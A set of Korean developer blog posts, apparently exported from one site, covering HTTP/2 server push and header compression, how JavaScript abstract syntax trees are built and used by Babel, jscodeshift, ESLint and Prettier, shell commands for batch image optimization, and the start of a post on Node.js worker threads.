그러나 이러한 리소스 인라이닝에는 몇가지 문제가 있다. HTML 문서에 이렇게 리소스를 포함 시키는 것은, 텍스트 형식이 아닌 큰 파일이 있을 경우 HTML 문서의 크기를 증가시켜, 결국에는 연결 속도가 감소되어 이 기술로 얻는 이점이 상쇄되어 버린다. 그리고 인라인 리소스는 HTML 문서와 분리되지 않았으므로 클라이언트가 이미 가지고 있는 리소스를 거부하거나, 캐시를 쓸 수 있는 매커니즘이 없다. 즉, 가장 큰 단점은 리소스와 문서를 분리할 수 없다는 것이다.

### HTTP/2 - 서버 푸쉬

HTTP/2는, 클라이언트의 초기 `GET`요청에 대해 여러개의 동시 응답을 허용하므로, 서버는 요청한 HTML 페이지와 함께 클라이언트에 리로스를 전송하여, 클라이언트가 요청하기 전에 리소스를 제공할 수 있다. 이를 서버 푸쉬라고 한다. 이러한 방식으로 HTTP/2 연결은 푸시된 리소스와 문서간의 분리를 유지하면서, 리소스 인라인이라는 목표를 동시에 달성할 수 있다. 이는 클라이언트가 메인 HTML 문서외에 다른 리소스를 거절할 수 있다는 것을 의미한다.

HTTP/2에서 이 프로세스는 `PUSH_PROMISE`라는 프레임을 전송하여 클라이언트에게 리소스가 푸시될 것임을 알리면서 시작된다. 이 프레임에는 메시지의 헤더만 존재하고, 클라이언트에서 서버가 푸시할 리소스가 포함되어 있다. 이미 캐시된 리소스가 존재하는 경우 클라이언트는 `RST_STREAM` 프레임을 응답으로 전송하여, 푸시를 거부할 수 있다.또한 `PUSH_PROMISE` 프레임은 서버가 어떤 리소스를 푸시할 것인지 알기 때문에, 서버에 중복 요청을 보내지 않도록 도와준다.

여기에서 중요한 것은 클라이언트 제어다. 클라이언트가 서버 푸시 우선 순위를 조정하거나, 서버 푸시를 비활성화해야하는 경우, 언제든지 `SETTINGS` 프레임을 보내 이 HTTP/2 기능을 수정할 수 있다.

이 기능이 많은 잠재력을 가지고 있는 것 같지만, 서버 푸시가 꼭 정답은 아니다. 예를 들어 일부 웹 브라우저는, 클라이언트에 미지 캐시된 리소스가 있더라도 푸시된 요청을 항상 취소할 수는 없다. 클라이언트가 서버에 중복된 리소스를 보낼 수 있도록 허용한 경우, 서버에 푸쉬를 해버리면 연결이 불필요하게 낭비될 수 있다. 따라서 서버 푸쉬는 개발자의 재량에 달려있다.

- https://developers.google.com/web/fundamentals/performance/prpl-pattern/
- https://jakearchibald.com/2017/h2-push-tougher-than-i-thought/

## 압축

웹 애플리케이션을 최적화하는 일반적인 방법은, 압축 알고리즘을 사용하여 클라이언트와 서버간의 HTTP 메시지 크기를 줄이는 것이다. HTTP/1.1과 HTTP/2에서 모두 이 전략을 사용하고는 있지만, 전자의 경우 전체 메시지를 압축하는 것을 금지하는 것을 구현하는데 문제가 있다.

### HTTP/1.1

gzip 등의 기술은 CSS, 자바스크립트 파일의 크기를 줄이기 위해 HTTP 메시지로 전송되는 데이터를 압축하는데 오랫동안 사용되어져 왔다. 그러나 메시지의 헤더는 항상 일반 텍스트로 전송된다. 각 헤더는 상당히 작지만, 많은 요청이 이루어질 수록 이 압축되지 않은 헤더의 존재는 데이터의 부담이 가중되며, 특히 많은 다른 리소스간 요청이 필요한 복잡한 API를 사용하는 웹 애플리케이션에게 불이익이다. 또한 쿠키를 사용하게 되면, 헤더가 커지므로 어떻게든 압축을 하는 것이 필요할 수 있다.

### HTTP/2

HTTP/2에서 반복적으로 등장하는 중요한 포인트 중 하나는, 이진 프레임 레이어를 사용하여 세부 정보에 대한 제어권을 높일 수 있다는 것이다. 헤더 압축도 마찬가지다. HTTP/2에서는 데이터에서 헤더를 분할하여 헤더 프레임과 데이터 프레임을 생성할 수 있다. 그런다음 HTTP/2 전용 압축 프로그렘 [HPACK](https://tools.ietf.org/html/draft-ietf-httpbis-header-compression-12)이 헤더를 압축할 수 있다. 이 알고리즘은 Huffman coding을 사용하여 헤더 메타데이터를 인코딩할 수 있으므로 크기를 크게 줄일 수 있다. 또한 HPACK은 이전에 전송된 메타데이터 필드를 추적하고, 클라이언트와 서버간에 공유된, 동적으로 변경된 인덱스에 따라서 해당 필드를 추가로 압축할 수 있다. 아래 예시를 살펴보자.

`request 1`

```text
method:     GET
scheme:     https
host:       example.com
path:       /academy
accept:     /image/jpeg
user-agent: Mozilla/5.0 ...
```

`request 2`

```text
method:     GET
scheme:     https
host:       example.com
path:       /academy/images
accept:     /image/jpeg
user-agent: Mozilla/5.0
```

이 요청들에서 `method` `scheme` `host` `accept` `user-agent` 등 많은 값들이 있지만, `path`의 값만 다르다. HPACK은 따라서 다른 값인 `path`만 아래와 같이 보낸다.

`request 1`

```text
method:     GET
scheme:     https
host:       example.com
path:       /academy
accept:     /image/jpeg
user-agent: Mozilla/5.0 ...
```

`request 2`

```text
path:       /academy/images
```

HPACK과 다른 압축 방법을 사용해서, HTTP/2는 클라이언트와 서버사이의 레이턴시를 감소시키는 기능을 제공할 수 있게 되었다.

## 결론

위에서 살펴보았듯이, HTTP/2는 여러 면에서 HTTP/1.1과 다르다. 일부 기능은 웹 애플리케이션 성능을 최적화 하는데 있어 사용할 수 있는 제어 수준을 높이고, 이진 프로토콜을 통해서 성능을 개선시켰다. 이제 두 프로토콜 간의 변화에 대해 이해했으므로, HTTP/2의 멀티플렉싱, 스트림 우선순위 지정, 흐름제어, 서버 푸시와 압축과 같은 요소가 웹 개발 환경에 어떤 영향을 미칠지 판단할 수 있다.

HTTP/1.1과 HTTP/2 사이의 성능 비교해보려면, [구글의 데모페이지](https://http2.golang.org/gophertiles)를 참고해보면 좋다. 로컬 머신에서 테스트 시, 페이지 로드 시간은 테스트시 사용가능한 대역폭, 클라이언트 및 서버 리소스등과 같은 몇가지 요인에 따라 달리질 수 있다. 보다 포괄적인 테스트 결과는 [여기](https://css-tricks.com/http2-real-world-performance-test-analysis/)에서 참고할 수 있다.

- https://www.digitalocean.com/community/tutorials/how-to-build-a-modern-web-application-to-manage-customer-information-with-django-and-react-on-ubuntu-18-04
- https://www.digitalocean.com/community/tutorials/how-to-set-up-nginx-with-http-2-support-on-ubuntu-16-04

출처: https://www.digitalocean.com/community/tutorials/http-1-1-vs-http-2-what-s-the-difference

---

Source: https://yceffort.kr/2021/05/ast-for-javascript.md
Title: 자바스크립트 개발자를 위한 AST 이해하기 (2026년 업데이트)
Description: AST의 개념부터 파싱 과정, 주요 노드 타입, 그리고 Babel·ESLint 같은 도구에서의 활용까지 정리합니다.
Date: 2021-05-10
Tags: javascript, compiler

요즘 자바스크립트 프로젝트를 하다보면, `devDependencies`에 정말 많은 의존성이 있음을 알 수 있다. 자바스크립트 트랜스파일링, 코드 최소화, CSS pre-processor, eslint, prettier 등등등. 이러한 기능들은 실제 프로덕션 코드로 올라가는 것은 아니지만, 개발 과정에서 중요한 것들을 담당한다. 그리고 이러한 툴들은 AST processing을 기반으로 작동한다.

## Table of Contents

## AST 란 무엇인가?

> 컴퓨터 과학에서 추상 구문 트리(abstract syntax tree, AST), 또는 간단히 구문 트리(syntax tree)는 프로그래밍 언어로 작성된 소스 코드의 추상 구문 구조의 트리이다. 이 트리의 각 노드는 소스 코드에서 발생되는 구조를 나타낸다.
>
> https://ko.wikipedia.org/wiki/%EC%B6%94%EC%83%81_%EA%B5%AC%EB%AC%B8_%ED%8A%B8%EB%A6%AC

쉽게 말하면, 코드라는 문자열을 컴퓨터가 이해할 수 있는 트리 구조의 데이터로 변환한 것이다. 코드에 있는 각 요소(변수 선언, 함수 호출, 연산자 등)가 트리의 노드가 된다. 예제를 보면 바로 감이 올 것이다.

> 모든 예제는 https://astexplorer.net/ 에서 확인해볼 수 있다.

```javascript
function square(n) {
  return n * n
}
```

이 코드를 AST로 변환하면, 트리 구조로 보면 대략 이런 모양이다.

```text
Program
└── FunctionDeclaration (name: "square")
    ├── params
    │   └── Identifier (name: "n")
    └── body (BlockStatement)
        └── ReturnStatement
            └── BinaryExpression (operator: "*")
                ├── left: Identifier (name: "n")
                └── right: Identifier (name: "n")
```

코드의 모든 요소가 트리의 노드에 1:1로 매핑되는 것을 볼 수 있다. `function square(n)`은 `FunctionDeclaration` 노드가 되고, 그 안의 `return n * n`은 `ReturnStatement` 아래 `BinaryExpression`이 된다.

실제로 파서가 만들어내는 AST JSON은 위치 정보(`loc`, `range`, `start`, `end`)같은 메타데이터가 잔뜩 포함되어 있어서 훨씬 장황하다. 핵심 구조만 뽑아보면 이렇다.

```json
{
  "type": "Program",
  "body": [
    {
      "type": "FunctionDeclaration",
      "id": {"type": "Identifier", "name": "square"},
      "params": [{"type": "Identifier", "name": "n"}],
      "body": {
        "type": "BlockStatement",
        "body": [
          {
            "type": "ReturnStatement",
            "argument": {
              "type": "BinaryExpression",
              "operator": "*",
              "left": {"type": "Identifier", "name": "n"},
              "right": {"type": "Identifier", "name": "n"}
            }
          }
        ]
      }
    }
  ]
}
```

> 전체 AST JSON이 궁금하다면 [AST Explorer](https://astexplorer.net/)에 위 코드를 붙여넣으면 바로 확인할 수 있다.

## 코드에서 AST가 만들어지는 과정

그런데 어떻게 코드 문자열에서 이런 트리가 만들어지는 걸까? 크게 두 단계를 거친다.

### 1단계: 렉시컬 분석 (Lexical Analysis)

렉시컬 분석기(scanner, tokenizer라고도 한다)는 코드 문자열을 **토큰(token)** 단위로 쪼갠다. 토큰은 의미를 가지는 가장 작은 단위라고 보면 된다.

```javascript
function square(n) {
  return n * n
}
```

위 코드를 토큰화하면 이런 결과가 나온다.

```text
[
  { type: 'keyword',    value: 'function' },
  { type: 'identifier', value: 'square' },
  { type: 'punctuator', value: '(' },
  { type: 'identifier', value: 'n' },
  { type: 'punctuator', value: ')' },
  { type: 'punctuator', value: '{' },
  { type: 'keyword',    value: 'return' },
  { type: 'identifier', value: 'n' },
  { type: 'punctuator', value: '*' },
  { type: 'identifier', value: 'n' },
  { type: 'punctuator', value: '}' },
]
```

렉시컬 분석기가 코드를 글자 단위로 읽으면서, `function`같은 키워드, `square`같은 식별자, `(`같은 구두점을 구분해낸다. 공백이나 줄바꿈은 이 과정에서 제거된다.

실제로 아주 단순한 토크나이저가 어떻게 동작하는지 살펴보자. 아래는 숫자와 사칙연산만 처리하는 미니 토크나이저다.

```javascript
function tokenize(code) {
  const tokens = []
  let i = 0

  while (i < code.length) {
    const char = code[i]

    // 공백은 건너뛴다
    if (/\s/.test(char)) {
      i++
      continue
    }

    // 숫자: 연속된 숫자를 하나의 토큰으로
    if (/[0-9]/.test(char)) {
      let value = ''
      while (i < code.length && /[0-9]/.test(code[i])) {
        value += code[i++]
      }
      tokens.push({type: 'number', value})
      continue
    }

    // 연산자
    if ('+-*/'.includes(char)) {
      tokens.push({type: 'operator', value: char})
      i++
      continue
    }

    throw new Error(`알 수 없는 문자: ${char}`)
  }

  return tokens
}

tokenize('12 + 3 * 45')
// [
//   { type: 'number', value: '12' },
//   { type: 'operator', value: '+' },
//   { type: 'number', value: '3' },
//   { type: 'operator', value: '*' },
//   { type: 'number', value: '45' },
// ]
```

핵심은 간단하다. 현재 글자를 보고 "이게 숫자의 시작인지, 연산자인지, 공백인지" 판단한 뒤, 적절한 토큰으로 분류한다. 실제 자바스크립트 파서의 토크나이저는 문자열(`'...'`, `"..."`), 정규식(`/.../`), 템플릿 리터럴(`` `...` ``) 등 훨씬 복잡한 케이스를 처리해야 하지만, 기본 원리는 동일하다.

### 2단계: 구문 분석 (Syntax Analysis)

구문 분석기(parser)는 위에서 나온 토큰 목록을 받아서, 언어의 문법 규칙에 따라 **트리 구조**로 조립한다. `function` 키워드 다음에 식별자가 오고, 괄호 안에 파라미터가 있고... 이런 문법 규칙을 적용해서 토큰들 사이의 관계를 트리로 만든다. 문법에 맞지 않는 코드가 들어오면 여기서 `SyntaxError`가 발생한다. 그리고 이 결과물이 바로 `Abstract Syntax Tree`다.

파서가 하는 일 중 가장 흥미로운 부분은 **연산자 우선순위** 처리다. `1 + 2 * 3`을 생각해보자. 단순히 왼쪽에서 오른쪽으로 읽으면 `(1 + 2) * 3 = 9`가 되겠지만, 수학적으로 올바른 결과는 `1 + (2 * 3) = 7`이다. 파서는 이 우선순위를 트리 구조로 표현한다.

```text
// 1 + 2 * 3 의 AST
// 곱셈이 더 깊은 위치에 있으므로 먼저 계산된다

BinaryExpression (+)
├── left: NumericLiteral (1)
└── right: BinaryExpression (*)
    ├── left: NumericLiteral (2)
    └── right: NumericLiteral (3)
```

`*`가 `+`보다 트리의 더 아래(깊은 곳)에 위치한다. 트리를 아래에서 위로 평가하면, `2 * 3`이 먼저 계산되고 그 결과에 `1`을 더하게 된다. 괄호를 명시적으로 쓰지 않아도 연산 순서가 트리 구조에 자연스럽게 인코딩되는 것이다.

"Abstract(추상)"이라는 이름이 붙은 이유는, 괄호나 세미콜론 같은 구문적 장식은 트리 구조 자체에 암시적으로 포함되기 때문에 별도의 노드로 표현하지 않기 때문이다. 위 예시에서 `(2 * 3)`이라고 괄호를 써도 AST 구조는 동일하다. 괄호의 의미(우선순위)가 이미 트리 구조에 반영되어 있기 때문이다.

> 참고: 괄호나 세미콜론까지 모든 구문 요소를 포함하는 트리를 CST(Concrete Syntax Tree)라고 한다. prettier처럼 원본 코드의 형태를 최대한 보존해야 하는 도구는 CST에 가까운 표현을 사용하기도 한다.

### 자바스크립트 파서들

자바스크립트 생태계에는 여러 파서가 존재한다. 대부분 [ESTree](https://github.com/estree/estree) 라는 AST 스펙을 따르기 때문에, 기본적인 노드 구조는 파서가 달라도 호환된다.

| 파서                                                                              | 언어 | 특징                                                            |
| --------------------------------------------------------------------------------- | ---- | --------------------------------------------------------------- |
| [acorn](https://github.com/acornjs/acorn)                                         | JS   | 가볍고 빠름. webpack, eslint의 기본 파서                        |
| [@babel/parser](https://github.com/babel/babel/tree/master/packages/babel-parser) | JS   | JSX, TypeScript, Stage 0 제안까지 지원. ESTree 호환 모드 제공   |
| [typescript](https://github.com/microsoft/TypeScript)                             | TS   | TypeScript 컴파일러 내장 파서. 자체 AST 포맷 사용 (ESTree 아님) |
| [SWC](https://swc.rs/)                                                            | Rust | Rust로 작성. Babel 대비 수십 배 빠름                            |
| [oxc](https://oxc-project.github.io/)                                             | Rust | Rust로 작성. ESLint 대체를 목표로 하는 프로젝트의 파서          |

어떤 파서를 쓰든 "코드 → 토큰 → AST" 파이프라인의 기본 구조는 같다. 다만 지원하는 문법 범위, 성능, 에러 복구 능력 등에서 차이가 난다.

### 더 알아보기

- 컴파일러에 대해서 배우고 싶다면, [The-super-tiny-compiler](https://github.com/jamiebuilds/the-super-tiny-compiler)를 보는 것을 추천한다. 자바스크립트로 쓰여진 가장 간단한 컴파일러 예제를 구현해두었다.
- [AST Explorer](https://astexplorer.net/) - 코드를 붙여넣으면 바로 AST를 볼 수 있다. 파서도 여러 개 골라볼 수 있다.
- [@babel/parser](https://github.com/babel/babel/tree/master/packages/babel-parser) 구 babylon

## AST 노드 타입 이해하기

AST를 다루려면 주요 노드 타입을 알아야 한다. [ESTree 스펙](https://github.com/estree/estree)을 기준으로 자바스크립트 AST 노드는 크게 세 가지로 나뉜다.

### Statement vs Expression

이 두 가지 구분이 가장 중요하다.

- **Statement(문)**: 동작을 수행한다. 값을 만들어내지 않는다. `if`, `for`, `return`, `변수 선언` 등.
- **Expression(식)**: 값을 만들어낸다. `1 + 2`, `foo()`, `a ? b : c` 등.

```javascript
// Statement: 값을 만들지 않는다 (변수에 담을 수 없다)
if (true) {
}
for (let i = 0; i < 10; i++) {}

// Expression: 값을 만든다 (변수에 담을 수 있다)
const x = 1 + 2
const y = condition ? 'a' : 'b'
const z = foo()
```

이 구분이 중요한 이유는 AST를 순회할 때 "어떤 노드 타입을 찾을 것인가"를 결정하기 때문이다. 예를 들어 함수 호출을 모두 찾고 싶다면 `CallExpression`을, 변수 선언을 찾고 싶다면 `VariableDeclaration`(Statement)을 타겟으로 잡으면 된다.

### 주요 노드 타입

실제로 자주 만나는 노드 타입들을 코드와 함께 정리하면 이렇다.

```javascript
// VariableDeclaration + VariableDeclarator
const x = 1
// { type: "VariableDeclaration", kind: "const",
//   declarations: [{ type: "VariableDeclarator",
//     id: Identifier("x"), init: NumericLiteral(1) }] }

// FunctionDeclaration
function foo(a, b) {
  return a + b
}
// { type: "FunctionDeclaration", id: Identifier("foo"),
//   params: [Identifier("a"), Identifier("b")],
//   body: BlockStatement }

// ArrowFunctionExpression
const add = (a, b) => a + b
// { type: "ArrowFunctionExpression",
//   params: [Identifier("a"), Identifier("b")],
//   body: BinaryExpression("+") }

// CallExpression
console.log('hello')
// { type: "CallExpression",
//   callee: MemberExpression(console, log),
//   arguments: [StringLiteral("hello")] }

// MemberExpression
obj.prop
obj['prop']
// { type: "MemberExpression", object: Identifier("obj"),
//   property: Identifier("prop"), computed: false | true }

// ConditionalExpression (삼항 연산자)
a ? b : c
// { type: "ConditionalExpression",
//   test: Identifier("a"),
//   consequent: Identifier("b"),
//   alternate: Identifier("c") }

// IfStatement
if (condition) {
  doA()
} else {
  doB()
}
// { type: "IfStatement",
//   test: Identifier("condition"),
//   consequent: BlockStatement,
//   alternate: BlockStatement }
```

패턴이 보이는가? 모든 노드는 `type` 필드로 구분되고, 노드 타입에 따라 정해진 프로퍼티들이 있다. `BinaryExpression`이면 `left`, `operator`, `right`가 있고, `IfStatement`면 `test`, `consequent`, `alternate`가 있다. 이 구조를 알면 AST 기반 도구를 훨씬 수월하게 다룰 수 있다.

> ESTree 스펙 전체는 [estree/estree](https://github.com/estree/estree/blob/master/es2015.md)에서 확인할 수 있다.

## 유즈케이스 1: 트랜스파일링 (Babel)

가장 대표적인 AST 활용 사례는 트랜스파일링이다. https://babeljs.io/ 바벨은 자바스크립트 컴파일러로, 크게 3단계로 이루어진다.

1. **Parsing**: 코드를 AST로 변환
2. **Transforming**: AST를 순회하면서 원하는 형태로 변환
3. **Generation**: 변환된 AST를 다시 코드 문자열로 출력

### Parse & Generate

가장 기본적인 형태는 파싱하고 다시 코드를 생성하는 것이다.

```javascript
import * as parser from '@babel/parser'
import generate from '@babel/generator'

const code = `const welcome = 'hello world'`

// 1. 코드 → AST
const ast = parser.parse(code)

// 2. AST → 코드
const output = generate(ast)
console.log(output.code) // const welcome = 'hello world'
```

이것만 보면 "그래서 뭐?" 싶을 수 있다. 핵심은 1단계와 2단계 사이에서 AST를 변환하는 것이다.

### Traverse & Transform

바벨의 진짜 힘은 `@babel/traverse`로 AST를 순회하면서 노드를 수정하는 데 있다. 간단한 예제를 보자. 모든 `const`를 `let`으로 바꾸는 코드다.

```javascript
import * as parser from '@babel/parser'
import _traverse from '@babel/traverse'
import _generate from '@babel/generator'

const traverse = _traverse.default
const generate = _generate.default

const code = `
  const a = 1
  const b = 2
`

const ast = parser.parse(code)

// AST를 순회하면서 const → let으로 변환
traverse(ast, {
  VariableDeclaration(path) {
    if (path.node.kind === 'const') {
      path.node.kind = 'let'
    }
  },
})

const output = generate(ast)
console.log(output.code)
// let a = 1;
// let b = 2;
```

`traverse`에 전달하는 객체의 키가 바로 AST 노드 타입이다. `VariableDeclaration`이라는 타입의 노드를 만날 때마다 콜백이 실행된다. 이 구조를 **visitor 패턴**이라고 하는데, AST 기반 도구들이 거의 다 이 패턴을 쓴다.

### path 객체 이해하기

위 예제에서 콜백이 받는 `path`는 단순한 노드 래퍼가 아니다. AST 트리 안에서의 위치와 관계 정보를 모두 담고 있는 객체다.

```javascript
traverse(ast, {
  Identifier(path) {
    path.node // 현재 AST 노드 자체
    path.parent // 부모 노드
    path.parentPath // 부모의 path 객체
    path.scope // 현재 스코프 정보

    // 조작 메서드
    path.replaceWith(newNode) // 현재 노드를 다른 노드로 교체
    path.remove() // 현재 노드 삭제
    path.insertBefore(newNode) // 현재 노드 앞에 새 노드 삽입
    path.insertAfter(newNode) // 현재 노드 뒤에 새 노드 삽입

    // 탐색 메서드
    path.findParent((p) => p.isFunction()) // 조건에 맞는 부모 찾기
    path.getSibling(0) // 형제 노드 접근
  },
})
```

`path.scope`도 강력한 기능이다. 변수가 어디서 선언되었는지, 어디서 참조되고 있는지를 추적할 수 있다.

```javascript
traverse(ast, {
  Identifier(path) {
    const binding = path.scope.getBinding(path.node.name)
    if (binding) {
      console.log(binding.kind) // 'const', 'let', 'var', 'param' 등
      console.log(binding.referenced) // 참조되고 있는지
      console.log(binding.references) // 참조 횟수
      console.log(binding.referencePaths) // 참조 위치들
    }
  },
})
```

이런 기능이 있기 때문에 "사용되지 않는 변수 찾기", "변수 이름 안전하게 바꾸기" 같은 작업이 가능해진다.

### 바벨 플러그인

좀 더 실용적인 예를 하나 더 보자. `console.log`를 모두 제거하는 바벨 플러그인이다.

```javascript
// babel-plugin-remove-console.js
export default function () {
  return {
    visitor: {
      CallExpression(path) {
        const {callee} = path.node
        if (
          callee.type === 'MemberExpression' &&
          callee.object.name === 'console' &&
          callee.property.name === 'log'
        ) {
          path.remove()
        }
      },
    },
  }
}
```

`CallExpression` 노드 중에서 `console.log` 호출을 찾아서 `path.remove()`로 삭제한다. 프로덕션 빌드에서 콘솔 로그를 제거하는 실제 플러그인들이 이런 식으로 동작한다.

> babel과 관련된 자세한 내용은 https://github.com/jamiebuilds/babel-handbook 에서 공부해볼 수 있다.

## 유즈케이스 2: 코드 자동 리팩토링 (JSCodeShift)

다음으로 알아볼 유즈케이스는, 코드를 자동으로 리팩토링 해주는 [JSCodeShift](https://github.com/facebook/jscodeshift)다. 예를 들어, 아래와 같은 변환을 하고 싶다고 하자.

```javascript
// before
load().then(function (response) {
  return response.data
})

// after
load().then((response) => response.data)
```

단순한 찾아 바꾸기가 아니기 때문에, 일반적인 텍스트 에디터에서는 이러한 리팩토링이 불가능하다. 이것을 가능하게 하는 것이 `jscodeshift`다.

`jscodeshift`는 `codemods`를 실행시키는 툴킷이다. `codemods`에서 실제 AST를 활용한 변환이 일어난다. 기본적인 아이디어는 babel과 하위 플러그인의 관계와 유사하다.

실제로 위 변환을 수행하는 codemod를 작성하면 이렇다.

```javascript
// function-to-arrow.js
export default function transformer(file, api) {
  const j = api.jscodeshift

  return j(file.source)
    .find(j.FunctionExpression)
    .replaceWith((path) => {
      const {params, body} = path.node

      // body가 return 문 하나뿐이면 간결한 arrow function으로
      if (body.body.length === 1 && body.body[0].type === 'ReturnStatement') {
        return j.arrowFunctionExpression(params, body.body[0].argument)
      }

      return j.arrowFunctionExpression(params, body)
    })
    .toSource()
}
```

```bash
npx jscodeshift -t function-to-arrow.js src/
```

이렇게 실행하면 `src/` 아래 모든 파일에서 function expression을 arrow function으로 변환해준다. 파일 수가 수백 개든 수천 개든 상관없다. 이런 대규모 리팩토링에서 AST 기반 변환이 빛을 발한다.

react에서도 메이저 버전 업데이트 시 codemod를 제공한다. [react-codemod](https://github.com/reactjs/react-codemod)를 보면 createClass → ES6 class, PropTypes 분리 등의 변환을 자동으로 해주는 codemod들이 있다.

## 유즈케이스 3: 린팅 (ESLint)

ESLint도 AST 기반으로 동작한다. 코드를 AST로 파싱한 뒤, 각 룰이 visitor 패턴으로 특정 노드 타입을 순회하면서 문제를 찾아낸다. 구조가 바벨 플러그인과 거의 동일하다.

간단한 커스텀 룰을 하나 만들어보자. `var` 사용을 금지하는 룰이다.

```javascript
// no-var.js
module.exports = {
  meta: {
    type: 'suggestion',
    fixable: 'code',
  },
  create(context) {
    return {
      VariableDeclaration(node) {
        if (node.kind === 'var') {
          context.report({
            node,
            message: 'var 대신 let 또는 const를 사용하세요.',
            fix(fixer) {
              return fixer.replaceTextRange(
                [node.range[0], node.range[0] + 3],
                'let',
              )
            },
          })
        }
      },
    }
  },
}
```

바벨 플러그인의 visitor 구조와 비교해보면 놀라울 정도로 닮아있다. `create` 함수가 반환하는 객체의 키가 AST 노드 타입이고, 해당 타입의 노드를 만날 때마다 콜백이 실행된다. 차이점이라면 바벨은 AST를 직접 수정하지만, ESLint는 `context.report()`로 문제를 보고하고, 자동 수정이 필요하면 `fix` 함수를 통해 텍스트 레벨에서 수정한다는 것이다.

> 커스텀 ESLint 룰을 직접 만들어보고 싶다면 [나만의 eslint 룰 만들어보기](/2022/06/how-to-write-my-own-eslint-rules)도 참고해보자.

## 유즈케이스 4: 코드 포맷팅 (Prettier)

[Prettier](https://prettier.io/)도 AST를 활용한다. 코드를 받아서 AST를 만들고, AST를 기반으로 일관된 스타일로 다시 출력한다. 다만 prettier는 한 단계가 더 있다.

1. 코드 → AST
2. AST → IR(Intermediate Representation, `Doc`이라고 부른다)
3. IR → 포맷팅된 코드

2단계가 핵심이다. AST 노드를 `Doc`이라는 중간 표현으로 변환하면서, "이 부분은 한 줄에 들어가면 한 줄로, 안 들어가면 여러 줄로 쪼개라" 같은 포맷팅 힌트를 함께 넣는다. 그 다음 `printer`라는 알고리즘이 `Doc`을 순회하면서 전체적인 줄 길이를 고려해 최적의 포맷을 결정한다.

`Doc`이 실제로 어떻게 생겼는지 보면 이해가 빠르다. `foo(arg1, arg2, arg3)` 라는 코드의 Doc은 개념적으로 이런 구조다.

```text
group([
  "foo(",
  indent([
    softline,
    "arg1,",
    line,
    "arg2,",
    line,
    "arg3",
  ]),
  softline,
  ")"
])
```

여기서 `group`은 "가능하면 한 줄에 넣되, 안 되면 여러 줄로 쪼개라"는 의미다. `line`은 한 줄 모드에서는 공백, 여러 줄 모드에서는 줄바꿈이 된다. `softline`은 한 줄 모드에서는 아무것도 안 넣고, 여러 줄 모드에서만 줄바꿈이 된다.

이 구조 덕분에 prettier는 `printWidth`에 맞춰 같은 코드를 상황에 따라 다르게 포맷팅할 수 있다.

```javascript
// printWidth 안에 들어갈 때 → 한 줄
foo(arg1, arg2, arg3)

// printWidth를 초과할 때 → 여러 줄
foo(arg1, arg2, arg3)
```

이 판단을 단순히 문자열 길이만 보고 하는 게 아니라, AST 구조를 이해한 상태에서 하기 때문에 중첩된 구조에서도 일관된 결과를 만들어낸다.

> prettier의 알고리즘에 대해 더 자세히 알고 싶다면, Philip Wadler의 논문 [A prettier printer](https://homepages.inf.ed.ac.uk/wadler/papers/prettier/prettier.pdf)를 참고하면 좋다.

## 유즈케이스 5: 코드 시각화

AST를 활용하면 코드를 시각적으로 표현하는 것도 가능하다. [js2flowchart](https://github.com/Bogdan-Lyashenko/js-code-to-svg-flowchart)는 자바스크립트 코드를 플로우차트 SVG로 변환해주는 라이브러리다.

동작 원리는 지금까지 살펴본 것과 같은 맥락이다.

1. 코드 → AST
2. AST → FlowTree (불필요한 노드를 생략한 단순화된 트리)
3. FlowTree → ShapesTree (각 노드의 시각적 타입, 위치, 관계 정보)
4. ShapesTree → SVG

결국 AST를 중간 표현으로 삼아서 코드를 다른 형태로 변환하는 패턴은 동일하다.

## 정리

지금까지 살펴본 도구들의 공통 패턴을 정리해보면 이렇다.

```text
코드 (문자열)
  ↓ Lexical Analysis (토큰화)
토큰 목록
  ↓ Syntax Analysis (구문 분석)
AST
  ↓ 변환/분석/출력
결과물 (새로운 코드, 에러 리포트, SVG 등)
```

그리고 AST를 다루는 도구들은 거의 예외 없이 **visitor 패턴**을 사용한다. Babel, ESLint, jscodeshift 모두 "관심 있는 노드 타입을 키로, 콜백 함수를 값으로" 하는 객체를 넘기는 동일한 구조다.

```javascript
// Babel 플러그인
{ visitor: { CallExpression(path) { ... } } }

// ESLint 룰
{ create() { return { CallExpression(node) { ... } } } }

// jscodeshift
j(source).find(j.CallExpression).forEach(path => { ... })
```

결국 핵심은 하나다. **코드를 문자열이 아닌 구조화된 데이터로 다루면, 텍스트 치환으로는 불가능한 정교한 작업이 가능해진다.** AST는 그 구조화된 데이터를 만드는 가장 보편적인 방법이다.

---

Source: https://yceffort.kr/2021/05/compress-all-images-in-directory.md
Title: 디렉토리에 있는 모든 이미지 최적화 하기
Description: PNG는 좀 느립니다
Date: 2021-05-02
Tags: web-performance

블로그에서 추가되는 이미지를 자동으로 최적화하기 위해 https://imgbot.net/ 을 사용하고 있다. imgbot을 사용하면, 새롭게 추가되는 이미지들에 대해서 최적화를 해주는 PR을 만들어 준다. https://github.com/yceffort/yceffort-blog-v2/pull/298 (빌드가 실패한 것에 대해선 정말 긴 히스토리가 있다, imgbot 때문이 아니다)

그러나 기존에 추가되었던 이미지들에 대해서는 최적화가 안되기 때문에, 이를 위해서 방법을 찾아보다가 아래와 같은 라이브러리를 사용했다.

## PNG

```bash
brew install optipng
apt-get install optipng
```

```bash
find . -iname "*.png" -exec optipng -o7 {} \;
```

http://optipng.sourceforge.net/

PNG의 경우에는 굉장히 오래걸렸다.

## JPG, JPEG

```bash
brew install jpegoptim
sudo apt-get install jpegoptim
```

```bash
find . -iname "*.jpg" -exec jpegoptim -m80 -o -p {} \;
```

## GIF

```bash
brew install gifsicle
sudo apt-get install gifsicle
```

```bash
find . -iname "*.gif" -exec gifsicle --batch -V -O2 {} \;
```

## GUI application

일괄적으로 모든 파일을 수정하기 위해서는 위 명령어를 사용했지만, GUI application도 있어서 필요할 때 사용하면 좋을 것 같다.

https://imageoptim.com/mac

---

Source: https://yceffort.kr/2021/04/nodejs-multithreading-worker-threads.md
Title: nodejs의 멀티쓰레딩과 worker threads
Description: 그 놈의 싱글스레드
Date: 2021-04-15
Tags: nodejs, backend, javascript

nodejs 10.5.0 버전 이후에서 부터는 `worker_threads`가 가능해졌고, 12 LTS 부터 stable로 자리잡았다. 이 `worker_threads`는 무엇이고 어떤 역할을 하는 것일까?

## 싱글스레드 세상

자바스크립트는 브라우저에서 실행되는 단일 스레드 프로그래밍 언어로 설계되었다. 단일 스레드 라는 것은, 하나의 프로세스 (브라우저 또는 모던 브라우저의 경우 하나의 탭)에서 하나의 명령어 집합만 실행된다는 것을 의미한다.

